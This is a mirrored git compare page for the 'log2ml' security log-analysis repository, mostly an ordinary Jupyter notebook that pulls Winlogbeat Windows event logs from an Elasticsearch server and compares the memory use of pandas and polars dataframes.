mirror of
https://github.com/norandom/log2ml.git
synced 2025-04-18 14:51:27 +00:00
Compare commits
58 Commits
foundation
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
c09b7eec14 | ||
|
|
9f7f0028e3 | ||
|
|
432fb22b6d | ||
|
|
c5addfd9a1 | ||
|
|
9b5858772b | ||
|
|
eb62dace9f | ||
|
|
de9f9a5a0e | ||
|
|
4c0645e20b | ||
|
|
001c431210 | ||
|
|
918f6a23f3 | ||
|
|
8612e58753 | ||
|
|
f189ee9c96 | ||
|
|
c1d2b2fe9c | ||
|
|
56adbcb6f4 | ||
|
|
6526c0169e | ||
|
|
e98fe3fd53 | ||
|
|
da85a7f61f | ||
|
|
af2a817584 | ||
|
|
bb2aaf6051 | ||
|
|
8188eafd3c | ||
|
|
31c5d63710 | ||
|
|
a33706beea | ||
|
|
f61ec1713f | ||
|
|
c0370349f0 | ||
|
|
eab56947e6 | ||
|
|
8b040723b6 | ||
|
|
2eaa18d9a1 | ||
|
|
1207bb2c0e | ||
|
|
922f2dca42 | ||
|
|
47693e1f89 | ||
|
|
547931317c | ||
|
|
3dbba8ca03 | ||
|
|
a944bb1d63 | ||
|
|
af9146ba78 | ||
|
|
2c893ce9a7 | ||
|
|
b2e55b4774 | ||
|
|
65923acf69 | ||
|
|
24886d88e7 | ||
|
|
2a0ad000ae | ||
|
|
17618767d8 | ||
|
|
af57147743 | ||
|
|
ee5a76d52f | ||
|
|
8c51f1851c | ||
|
|
8fb124aa21 | ||
|
|
aa1c56eeb6 | ||
|
|
fe187e40ed | ||
|
|
e7fb89f018 | ||
|
|
0257992b8d | ||
|
|
da68bc33ba | ||
|
|
ac1311744c | ||
|
|
90fd503584 | ||
|
|
ed923c6920 | ||
|
|
def64cb79d | ||
|
|
2dbd19292e | ||
|
|
f9cdeb781b | ||
|
|
e38d2ab4c8 | ||
|
|
8cea2d2eb5 | ||
|
|
f33270e60a |
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
1142
2-4-open-source-c2-and-gp-foundations/TPOT_Foundations.ipynb
Normal file
1142
2-4-open-source-c2-and-gp-foundations/TPOT_Foundations.ipynb
Normal file
File diff suppressed because it is too large
Load Diff
Binary file not shown.
BIN
2-4-open-source-c2-and-gp-foundations/new_workbook_13.xlsm
Normal file
BIN
2-4-open-source-c2-and-gp-foundations/new_workbook_13.xlsm
Normal file
Binary file not shown.
Binary file not shown.
714
2-6-1-elasticsearch-api-access-polars/Elasticsearch.ipynb
Normal file
714
2-6-1-elasticsearch-api-access-polars/Elasticsearch.ipynb
Normal file
@ -0,0 +1,714 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "fa00684b-2e50-4cf5-b8f3-bd28f583391b",
|
||||
"metadata": {},
|
||||
"source": [
|
||||
"# Elasticsearch and tabular integration\n",
|
||||
"\n",
|
||||
"Elasticsearch is a NoSQL database, which indexes JSON records.\n",
|
||||
"In the following the Winlog Beat index gets queried, which holds Windows EventLog data.\n",
|
||||
"The Elasticsearch SQL endpoint is used to define a query, and the resulting data is retrieved as a JSON stream.\n",
|
||||
"The data gets read into in-memory dataframe objects which allow data-manipulation tasks.\n",
|
||||
"\n",
|
||||
"In-memory processing can be difficult if the datasets grow large.\n",
|
||||
"Therefore a comparison is made between two polular in-memory dataframe libraries:\n",
|
||||
"\n",
|
||||
"1.) Pandas\n",
|
||||
"2.) Polars\n",
|
||||
"\n",
|
||||
"The memory footprint is assessed, because runtime memory is the limiting factor for the implementations."
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "a4127f02-a190-4d78-bddb-e660d2d55327",
|
||||
"metadata": {},
|
||||
"source": [
|
||||
"## Versions"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 89,
|
||||
"id": "51cfba52-67a8-4e5c-9afa-89fded16a03a",
|
||||
"metadata": {
|
||||
"tags": []
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Name: pandas\n",
|
||||
"Version: 2.1.4\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"!pip show pandas | grep -E 'Name:|Version:'"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 90,
|
||||
"id": "ad9779b4-8a30-4188-b875-f2bae857e308",
|
||||
"metadata": {
|
||||
"tags": []
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Name: polars\n",
|
||||
"Version: 0.20.26\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"!pip show polars | grep -E 'Name:|Version:'"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "b7760198-a975-4810-b3d4-25554e4fe3c4",
|
||||
"metadata": {},
|
||||
"source": [
|
||||
"## Elasticsearch API\n",
|
||||
"\n",
|
||||
"The Elasticsearch API uses HTTP and is available on port 9200.\n",
|
||||
"\n",
|
||||
"The index \"winlogbeat-\" contains data from the period. It's a periodically rotating index.\n",
|
||||
"\n",
|
||||
"Here the Elasticsearch DSL is used, and an event timeline is being retrieved, in time-descending order.\n",
|
||||
"\n",
|
||||
"The resulting JSON data is piped to the `jq` utility, which is prettier on a command-line.\n",
|
||||
"Only the first JSON record is analyzed. \n",
|
||||
"\n",
|
||||
"The output shows the index and the timestamp."
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 21,
|
||||
"id": "cce35135-52d7-484b-bbae-d1c876836433",
|
||||
"metadata": {
|
||||
"tags": []
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"{\n",
|
||||
" \"index\": \"winlogbeat-7.10.0-2024.05.15-000008\",\n",
|
||||
" \"timestamp\": \"2024-05-15T15:57:22.877Z\"\n",
|
||||
"}\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"%%bash\n",
|
||||
"curl -s -X GET \"http://192.168.20.106:9200/winlogbeat-*/_search\" -H 'Content-Type: application/json' -d '{\n",
|
||||
" \"size\": 1,\n",
|
||||
" \"sort\": [\n",
|
||||
" {\n",
|
||||
" \"@timestamp\": {\n",
|
||||
" \"order\": \"desc\"\n",
|
||||
" }\n",
|
||||
" }\n",
|
||||
" ]\n",
|
||||
"}' | jq '.hits.hits[0] | {index: ._index, timestamp: ._source[\"@timestamp\"]}'\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "4e6efd1c-2f22-4f5b-9ad7-b569065f182d",
|
||||
"metadata": {},
|
||||
"source": [
|
||||
"The following Bash command shows a SQL query.\n",
|
||||
"\n",
|
||||
"The `Limit 1` is a common SQL statement.\n",
|
||||
"The output is further limited with the `head` command. Only the first fields of the first record are shown.\n",
|
||||
"\n",
|
||||
"By default the order of records doesn't represent a timeline, but the order of records in the index."
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 27,
|
||||
"id": "2d3f97cb-cc71-4d81-ad9c-df11125cd109",
|
||||
"metadata": {
|
||||
"tags": []
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"{\n",
|
||||
" \"size\": 1,\n",
|
||||
" \"_source\": {\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"%%bash\n",
|
||||
"curl -s -X POST \"http://192.168.20.106:9200/_sql/translate\" -H 'Content-Type: application/json' -d '{\n",
|
||||
" \"query\": \"SELECT * FROM \\\"winlogbeat-7.10.0-2024.05.15-*\\\" LIMIT 1\"\n",
|
||||
"}' | jq | head -n 3\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "9e42a51f-e5a0-480d-9e2e-9744a288aef7",
|
||||
"metadata": {},
|
||||
"source": [
|
||||
"## Elasticsearch tabular-integration and Pandas\n",
|
||||
"\n",
|
||||
"Pandas is the de-facto standard for data-manipulation of small to medium datasets in Data Science.\n",
|
||||
"It offers robust functions for in-memory data transactions and tabular feature integration.\n",
|
||||
"\n",
|
||||
"In the following the expansion of JSON data is used to allow a simple feature selection for further processing.\n",
|
||||
"The data is returned from Elasticsearch, from an SQL query.\n",
|
||||
"\n",
|
||||
"The data is provided via a Scrolling API, which delivers a portion of the data each time.\n",
|
||||
"This simplifies batch processing of large datasets."
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 64,
|
||||
"id": "f8747542-a2d1-4814-8dc2-acf172db2d0c",
|
||||
"metadata": {
|
||||
"tags": []
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Retrieved 1000 documents.\n",
|
||||
"Retrieved 2000 documents.\n",
|
||||
"Retrieved 3000 documents.\n",
|
||||
"Retrieved 4000 documents.\n",
|
||||
"Retrieved 5000 documents.\n",
|
||||
"Files have been written.\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import requests\n",
|
||||
"import pandas as pd\n",
|
||||
"import json\n",
|
||||
"\n",
|
||||
"# Function to recursively normalize nested columns in a DataFrame\n",
|
||||
"def recursively_normalize(data):\n",
|
||||
" df = pd.json_normalize(data)\n",
|
||||
" while True:\n",
|
||||
" nested_cols = [col for col in df.columns if isinstance(df[col].iloc[0], (dict, list))]\n",
|
||||
" if not nested_cols:\n",
|
||||
" break\n",
|
||||
" for col in nested_cols:\n",
|
||||
" if isinstance(df[col].iloc[0], dict):\n",
|
||||
" normalized = pd.json_normalize(df[col])\n",
|
||||
" df = df.drop(columns=[col]).join(normalized)\n",
|
||||
" elif isinstance(df[col].iloc[0], list):\n",
|
||||
" df = df.explode(col)\n",
|
||||
" normalized = pd.json_normalize(df[col])\n",
|
||||
" df = df.drop(columns=[col]).join(normalized)\n",
|
||||
" return df\n",
|
||||
"\n",
|
||||
"# Function to fetch the next batch using the cursor\n",
|
||||
"def fetch_next_batch(cursor):\n",
|
||||
" response = requests.post(\n",
|
||||
" f\"{base_url}/_sql?format=json\",\n",
|
||||
" headers={\"Content-Type\": \"application/json\"},\n",
|
||||
" json={\"cursor\": cursor}\n",
|
||||
" ).json()\n",
|
||||
" return response\n",
|
||||
"\n",
|
||||
"# Elasticsearch base URL\n",
|
||||
"base_url = \"http://192.168.20.106:9200\"\n",
|
||||
"# Index name\n",
|
||||
"index = \"winlogbeat-*\"\n",
|
||||
"\n",
|
||||
"# SQL query for initial search\n",
|
||||
"sql_query = \"\"\"\n",
|
||||
"SELECT \"@timestamp\", host.hostname, host.ip, log.level, winlog.event_id, winlog.task, message FROM \"winlogbeat-7.10.0-2024.05.15-*\"\n",
|
||||
"LIMIT 5000\n",
|
||||
"\"\"\"\n",
|
||||
"\n",
|
||||
"# Initial search request to start scrolling\n",
|
||||
"initial_response = requests.post(\n",
|
||||
" f\"{base_url}/_sql?format=json\",\n",
|
||||
" headers={\"Content-Type\": \"application/json\"},\n",
|
||||
" json={\n",
|
||||
" \"query\": sql_query,\n",
|
||||
" \"field_multi_value_leniency\": True\n",
|
||||
" }\n",
|
||||
").json()\n",
|
||||
"\n",
|
||||
"# Extract the cursor for scrolling\n",
|
||||
"cursor = initial_response.get('cursor')\n",
|
||||
"rows = initial_response.get('rows')\n",
|
||||
"columns = [col['name'] for col in initial_response['columns']]\n",
|
||||
"\n",
|
||||
"# Initialize CSV file (assumes the first batch is not empty)\n",
|
||||
"if rows:\n",
|
||||
" df = pd.DataFrame(rows, columns=columns)\n",
|
||||
" df = recursively_normalize(df.to_dict(orient='records'))\n",
|
||||
" df.to_csv(\"lab_logs_normal_activity.csv\", mode='w', index=False, header=True)\n",
|
||||
"\n",
|
||||
"# Track total documents retrieved\n",
|
||||
"total_documents_retrieved = len(rows)\n",
|
||||
"print(f\"Retrieved {total_documents_retrieved} documents.\")\n",
|
||||
"\n",
|
||||
"# Loop to fetch subsequent batches of documents until no more documents are left\n",
|
||||
"while cursor:\n",
|
||||
" # Fetch next batch of documents using cursor\n",
|
||||
" response = fetch_next_batch(cursor)\n",
|
||||
" \n",
|
||||
" # Update cursor for the next batch\n",
|
||||
" cursor = response.get('cursor')\n",
|
||||
" rows = response.get('rows')\n",
|
||||
" \n",
|
||||
" # If no rows, break out of the loop\n",
|
||||
" if not rows:\n",
|
||||
" break\n",
|
||||
" \n",
|
||||
" # Normalize data and append to CSV\n",
|
||||
" df = pd.DataFrame(rows, columns=columns)\n",
|
||||
" df = recursively_normalize(df.to_dict(orient='records'))\n",
|
||||
" \n",
|
||||
" # Append to CSV file without headers\n",
|
||||
" df.to_csv(\"lab_logs_normal_activity.csv\", mode='a', index=False, header=False)\n",
|
||||
" \n",
|
||||
" # Convert DataFrame to JSON, line by line\n",
|
||||
" json_lines = df.to_json(orient='records', lines=True).splitlines()\n",
|
||||
" # Append each line to an existing JSON file\n",
|
||||
" with open(\"lab_logs_normal_activity.json\", 'a') as file:\n",
|
||||
" for line in json_lines:\n",
|
||||
" file.write(line + '\\n') # Append each line and add a newline\n",
|
||||
" \n",
|
||||
" # Update total documents retrieved\n",
|
||||
" total_documents_retrieved += len(rows)\n",
|
||||
" \n",
|
||||
" print(f\"Retrieved {total_documents_retrieved} documents.\")\n",
|
||||
"\n",
|
||||
"print(\"Files have been written.\")\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "1b236f1c-7060-43a0-b4e7-2b9697114a3e",
|
||||
"metadata": {},
|
||||
"source": [
|
||||
"## Alternative approach with polars\n",
|
||||
"\n",
|
||||
"Polars is a newer tabular-integration library, which challenges Pandas. \n",
|
||||
"It's supposed to me more memory efficient, because it's backend is written in Rust."
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"id": "78e37d61-4554-4bbb-99d9-ecbb2e892557",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"%pip install polars"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 63,
|
||||
"id": "328b8d13-3cc0-4239-b3e5-d98da9bb51ec",
|
||||
"metadata": {
|
||||
"tags": []
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Retrieved 1000 documents.\n",
|
||||
"Retrieved 2000 documents.\n",
|
||||
"Retrieved 3000 documents.\n",
|
||||
"Retrieved 4000 documents.\n",
|
||||
"Retrieved 5000 documents.\n",
|
||||
"Files have been written.\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import requests\n",
|
||||
"import polars as pl\n",
|
||||
"import json\n",
|
||||
"\n",
|
||||
"# Function to recursively unnest nested columns in a DataFrame\n",
|
||||
"def recursively_unnest(df):\n",
|
||||
" nested = True\n",
|
||||
" while nested:\n",
|
||||
" nested = False\n",
|
||||
" for col in df.columns:\n",
|
||||
" if df[col].dtype == pl.List:\n",
|
||||
" df = df.explode(col)\n",
|
||||
" nested = True\n",
|
||||
" elif df[col].dtype == pl.Struct:\n",
|
||||
" df = df.unnest(col)\n",
|
||||
" nested = True\n",
|
||||
" return df\n",
|
||||
"\n",
|
||||
"# Function to fetch the next batch using the cursor\n",
|
||||
"def fetch_next_batch(cursor):\n",
|
||||
" response = requests.post(\n",
|
||||
" f\"{base_url}/_sql?format=json\",\n",
|
||||
" headers={\"Content-Type\": \"application/json\"},\n",
|
||||
" json={\"cursor\": cursor}\n",
|
||||
" ).json()\n",
|
||||
" return response\n",
|
||||
"\n",
|
||||
"# Elasticsearch base URL\n",
|
||||
"base_url = \"http://192.168.20.106:9200\"\n",
|
||||
"# Index name\n",
|
||||
"index = \"winlogbeat-*\"\n",
|
||||
"\n",
|
||||
"# SQL query for initial search\n",
|
||||
"sql_query = \"\"\"\n",
|
||||
"SELECT \"@timestamp\", host.hostname, host.ip, log.level, winlog.event_id, winlog.task, message FROM \"winlogbeat-7.10.0-2024.05.15-*\"\n",
|
||||
"LIMIT 5000\n",
|
||||
"\"\"\"\n",
|
||||
"\n",
|
||||
"# Initial search request to start scrolling\n",
|
||||
"initial_response = requests.post(\n",
|
||||
" f\"{base_url}/_sql?format=json\",\n",
|
||||
" headers={\"Content-Type\": \"application/json\"},\n",
|
||||
" json={\n",
|
||||
" \"query\": sql_query,\n",
|
||||
" \"field_multi_value_leniency\": True\n",
|
||||
" }\n",
|
||||
").json()\n",
|
||||
"\n",
|
||||
"# Extract the cursor for scrolling\n",
|
||||
"cursor = initial_response.get('cursor')\n",
|
||||
"rows = initial_response.get('rows')\n",
|
||||
"columns = [col['name'] for col in initial_response['columns']]\n",
|
||||
"\n",
|
||||
"# Initialize CSV file (assumes the first batch is not empty)\n",
|
||||
"if rows:\n",
|
||||
" df = pl.DataFrame(rows, schema=columns)\n",
|
||||
" df = recursively_unnest(df)\n",
|
||||
" df.write_csv(\"lab_logs_normal_activity.csv\", include_header=True)\n",
|
||||
"\n",
|
||||
"# Track total documents retrieved\n",
|
||||
"total_documents_retrieved = len(rows)\n",
|
||||
"print(f\"Retrieved {total_documents_retrieved} documents.\")\n",
|
||||
"\n",
|
||||
"# Loop to fetch subsequent batches of documents until no more documents are left\n",
|
||||
"while cursor:\n",
|
||||
" # Fetch next batch of documents using cursor\n",
|
||||
" response = fetch_next_batch(cursor)\n",
|
||||
" \n",
|
||||
" # Update cursor for the next batch\n",
|
||||
" cursor = response.get('cursor')\n",
|
||||
" rows = response.get('rows')\n",
|
||||
" \n",
|
||||
" # If no rows, break out of the loop\n",
|
||||
" if not rows:\n",
|
||||
" break\n",
|
||||
" \n",
|
||||
" # Normalize data and append to CSV\n",
|
||||
" df = pl.DataFrame(rows, schema=columns)\n",
|
||||
" df = recursively_unnest(df)\n",
|
||||
" \n",
|
||||
" # Manually write the CSV to avoid headers\n",
|
||||
" with open(\"lab_logs_normal_activity.csv\", 'a') as f:\n",
|
||||
" df.write_csv(f, include_header=False)\n",
|
||||
" \n",
|
||||
" # Convert DataFrame to JSON, line by line\n",
|
||||
" json_lines = [json.dumps(record) for record in df.to_dicts()]\n",
|
||||
" # Append each line to an existing JSON file\n",
|
||||
" with open(\"lab_logs_normal_activity.json\", 'a') as file:\n",
|
||||
" for line in json_lines:\n",
|
||||
" file.write(line + '\\n') # Append each line and add a newline\n",
|
||||
" \n",
|
||||
" # Update total documents retrieved\n",
|
||||
" total_documents_retrieved += len(rows)\n",
|
||||
" \n",
|
||||
" print(f\"Retrieved {total_documents_retrieved} documents.\")\n",
|
||||
"\n",
|
||||
"print(\"Files have been written.\")\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"id": "3dd720a7-c716-4d41-9ab4-37652acca137",
|
||||
"metadata": {
|
||||
"tags": []
|
||||
},
|
||||
"source": [
|
||||
"## Memory footprint comparison"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 74,
|
||||
"id": "eefffe2a-f61c-47c8-90e3-d0de0ab932d6",
|
||||
"metadata": {
|
||||
"tags": []
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"@timestamp object\n",
|
||||
"host.hostname object\n",
|
||||
"host.ip object\n",
|
||||
"log.level object\n",
|
||||
"winlog.event_id int64\n",
|
||||
"winlog.task object\n",
|
||||
"message object\n",
|
||||
"dtype: object\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import pandas as pd\n",
|
||||
"\n",
|
||||
"# Read a small chunk of the JSON file\n",
|
||||
"file_path = \"lab_logs_normal_activity.json\"\n",
|
||||
"pd_df = pd.read_json(file_path, lines=True, nrows=10)\n",
|
||||
"\n",
|
||||
"print(pd_df.dtypes)"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 69,
|
||||
"id": "0b2be27e-a56c-411b-bbff-dc42e533ca80",
|
||||
"metadata": {
|
||||
"tags": []
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"{'@timestamp': String, 'host.hostname': String, 'host.ip': String, 'log.level': String, 'winlog.event_id': Int64, 'winlog.task': String, 'message': String}\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import polars as pl\n",
|
||||
"\n",
|
||||
"# Define the mapping from Pandas dtype to Polars dtype\n",
|
||||
"dtype_mapping = {\n",
|
||||
" \"object\": pl.Utf8,\n",
|
||||
" \"int64\": pl.Int64,\n",
|
||||
" \"float64\": pl.Float64,\n",
|
||||
" # Add more mappings if needed\n",
|
||||
"}\n",
|
||||
"\n",
|
||||
"# Generate the schema for Polars from Pandas dtype\n",
|
||||
"schema = {col: dtype_mapping[str(dtype)] for col, dtype in pd_df.dtypes.items()}\n",
|
||||
"print(schema)\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 78,
|
||||
"id": "5ccc9d58-8e27-43d0-bf69-7f2ff44c9874",
|
||||
"metadata": {
|
||||
"tags": []
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"shape: (8_000, 7)\n",
|
||||
"┌──────────────┬─────────────┬─────────────┬─────────────┬─────────────┬─────────────┬─────────────┐\n",
|
||||
"│ @timestamp ┆ host.hostna ┆ host.ip ┆ log.level ┆ winlog.even ┆ winlog.task ┆ message │\n",
|
||||
"│ --- ┆ me ┆ --- ┆ --- ┆ t_id ┆ --- ┆ --- │\n",
|
||||
"│ str ┆ --- ┆ str ┆ str ┆ --- ┆ str ┆ str │\n",
|
||||
"│ ┆ str ┆ ┆ ┆ i64 ┆ ┆ │\n",
|
||||
"╞══════════════╪═════════════╪═════════════╪═════════════╪═════════════╪═════════════╪═════════════╡\n",
|
||||
"│ 2024-05-15T1 ┆ win10 ┆ fe80::24b4: ┆ information ┆ 13 ┆ Registry ┆ Registry │\n",
|
||||
"│ 5:57:18.471Z ┆ ┆ 3691:44a6:3 ┆ ┆ ┆ value set ┆ value set: │\n",
|
||||
"│ ┆ ┆ 8a1 ┆ ┆ ┆ (rule: ┆ RuleName: … │\n",
|
||||
"│ ┆ ┆ ┆ ┆ ┆ Regi… ┆ │\n",
|
||||
"│ 2024-05-15T1 ┆ win10 ┆ fe80::24b4: ┆ information ┆ 13 ┆ Registry ┆ Registry │\n",
|
||||
"│ 5:57:18.471Z ┆ ┆ 3691:44a6:3 ┆ ┆ ┆ value set ┆ value set: │\n",
|
||||
"│ ┆ ┆ 8a1 ┆ ┆ ┆ (rule: ┆ RuleName: … │\n",
|
||||
"│ ┆ ┆ ┆ ┆ ┆ Regi… ┆ │\n",
|
||||
"│ 2024-05-15T1 ┆ win10 ┆ fe80::24b4: ┆ information ┆ 13 ┆ Registry ┆ Registry │\n",
|
||||
"│ 5:57:18.471Z ┆ ┆ 3691:44a6:3 ┆ ┆ ┆ value set ┆ value set: │\n",
|
||||
"│ ┆ ┆ 8a1 ┆ ┆ ┆ (rule: ┆ RuleName: … │\n",
|
||||
"│ ┆ ┆ ┆ ┆ ┆ Regi… ┆ │\n",
|
||||
"│ 2024-05-15T1 ┆ win10 ┆ fe80::24b4: ┆ information ┆ 13 ┆ Registry ┆ Registry │\n",
|
||||
"│ 5:57:18.471Z ┆ ┆ 3691:44a6:3 ┆ ┆ ┆ value set ┆ value set: │\n",
|
||||
"│ ┆ ┆ 8a1 ┆ ┆ ┆ (rule: ┆ RuleName: … │\n",
|
||||
"│ ┆ ┆ ┆ ┆ ┆ Regi… ┆ │\n",
|
||||
"│ 2024-05-15T1 ┆ win10 ┆ fe80::24b4: ┆ information ┆ 13 ┆ Registry ┆ Registry │\n",
|
||||
"│ 5:57:18.471Z ┆ ┆ 3691:44a6:3 ┆ ┆ ┆ value set ┆ value set: │\n",
|
||||
"│ ┆ ┆ 8a1 ┆ ┆ ┆ (rule: ┆ RuleName: … │\n",
|
||||
"│ ┆ ┆ ┆ ┆ ┆ Regi… ┆ │\n",
|
||||
"│ … ┆ … ┆ … ┆ … ┆ … ┆ … ┆ … │\n",
|
||||
"│ 2024-05-15T1 ┆ win10 ┆ fe80::24b4: ┆ information ┆ 4663 ┆ Removable ┆ An attempt │\n",
|
||||
"│ 6:10:07.128Z ┆ ┆ 3691:44a6:3 ┆ ┆ ┆ Storage ┆ was made to │\n",
|
||||
"│ ┆ ┆ 8a1 ┆ ┆ ┆ ┆ access … │\n",
|
||||
"│ 2024-05-15T1 ┆ win10 ┆ fe80::24b4: ┆ information ┆ 4663 ┆ Removable ┆ An attempt │\n",
|
||||
"│ 6:10:07.136Z ┆ ┆ 3691:44a6:3 ┆ ┆ ┆ Storage ┆ was made to │\n",
|
||||
"│ ┆ ┆ 8a1 ┆ ┆ ┆ ┆ access … │\n",
|
||||
"│ 2024-05-15T1 ┆ win10 ┆ fe80::24b4: ┆ information ┆ 4663 ┆ Removable ┆ An attempt │\n",
|
||||
"│ 6:10:07.136Z ┆ ┆ 3691:44a6:3 ┆ ┆ ┆ Storage ┆ was made to │\n",
|
||||
"│ ┆ ┆ 8a1 ┆ ┆ ┆ ┆ access … │\n",
|
||||
"│ 2024-05-15T1 ┆ win10 ┆ fe80::24b4: ┆ information ┆ 4663 ┆ Removable ┆ An attempt │\n",
|
||||
"│ 6:10:07.149Z ┆ ┆ 3691:44a6:3 ┆ ┆ ┆ Storage ┆ was made to │\n",
|
||||
"│ ┆ ┆ 8a1 ┆ ┆ ┆ ┆ access … │\n",
|
||||
"│ 2024-05-15T1 ┆ win10 ┆ fe80::24b4: ┆ information ┆ 4663 ┆ Removable ┆ An attempt │\n",
|
||||
"│ 6:10:07.149Z ┆ ┆ 3691:44a6:3 ┆ ┆ ┆ Storage ┆ was made to │\n",
|
||||
"│ ┆ ┆ 8a1 ┆ ┆ ┆ ┆ access … │\n",
|
||||
"└──────────────┴─────────────┴─────────────┴─────────────┴─────────────┴─────────────┴─────────────┘\n",
|
||||
"Pandas DataFarme number of rows: 8000\n",
|
||||
"Polars DataFrame memory usage: 4.76 MB\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"# Read the JSON file using the defined schema\n",
|
||||
"lazy_df = pl.scan_ndjson(file_path)\n",
|
||||
"\n",
|
||||
"# Collect the LazyFrame to a DataFrame\n",
|
||||
"pl_df = lazy_df.collect()\n",
|
||||
"\n",
|
||||
"# Convert columns to the correct data types according to the schema\n",
|
||||
"pl_df = pl_df.with_columns([pl.col(col).cast(dtype) for col, dtype in schema.items()])\n",
|
||||
"\n",
|
||||
"# Print the DataFrame and its memory usage\n",
|
||||
"print(pl_df)\n",
|
||||
"\n",
|
||||
"num_rows_polars = pl_df.shape[0]\n",
|
||||
"\n",
|
||||
"print(f\"Pandas DataFarme number of rows: {num_rows_polars}\")\n",
|
||||
"print(f\"Polars DataFrame memory usage: {pl_df.estimated_size() / (1024 ** 2):.2f} MB\")"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 79,
|
||||
"id": "547f7253-cd62-44c6-8d7a-840dab2dbbbd",
|
||||
"metadata": {
|
||||
"tags": []
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
" @timestamp host.hostname host.ip \\\n",
|
||||
"0 2024-05-15T15:57:18.471Z win10 fe80::24b4:3691:44a6:38a1 \n",
|
||||
"1 2024-05-15T15:57:18.471Z win10 fe80::24b4:3691:44a6:38a1 \n",
|
||||
"2 2024-05-15T15:57:18.471Z win10 fe80::24b4:3691:44a6:38a1 \n",
|
||||
"3 2024-05-15T15:57:18.471Z win10 fe80::24b4:3691:44a6:38a1 \n",
|
||||
"4 2024-05-15T15:57:18.471Z win10 fe80::24b4:3691:44a6:38a1 \n",
|
||||
"... ... ... ... \n",
|
||||
"7995 2024-05-15T16:10:07.128Z win10 fe80::24b4:3691:44a6:38a1 \n",
|
||||
"7996 2024-05-15T16:10:07.136Z win10 fe80::24b4:3691:44a6:38a1 \n",
|
||||
"7997 2024-05-15T16:10:07.136Z win10 fe80::24b4:3691:44a6:38a1 \n",
|
||||
"7998 2024-05-15T16:10:07.149Z win10 fe80::24b4:3691:44a6:38a1 \n",
|
||||
"7999 2024-05-15T16:10:07.149Z win10 fe80::24b4:3691:44a6:38a1 \n",
|
||||
"\n",
|
||||
" log.level winlog.event_id winlog.task \\\n",
|
||||
"0 information 13 Registry value set (rule: RegistryEvent) \n",
|
||||
"1 information 13 Registry value set (rule: RegistryEvent) \n",
|
||||
"2 information 13 Registry value set (rule: RegistryEvent) \n",
|
||||
"3 information 13 Registry value set (rule: RegistryEvent) \n",
|
||||
"4 information 13 Registry value set (rule: RegistryEvent) \n",
|
||||
"... ... ... ... \n",
|
||||
"7995 information 4663 Removable Storage \n",
|
||||
"7996 information 4663 Removable Storage \n",
|
||||
"7997 information 4663 Removable Storage \n",
|
||||
"7998 information 4663 Removable Storage \n",
|
||||
"7999 information 4663 Removable Storage \n",
|
||||
"\n",
|
||||
" message \n",
|
||||
"0 Registry value set:\\nRuleName: InvDB-Ver\\nEven... \n",
|
||||
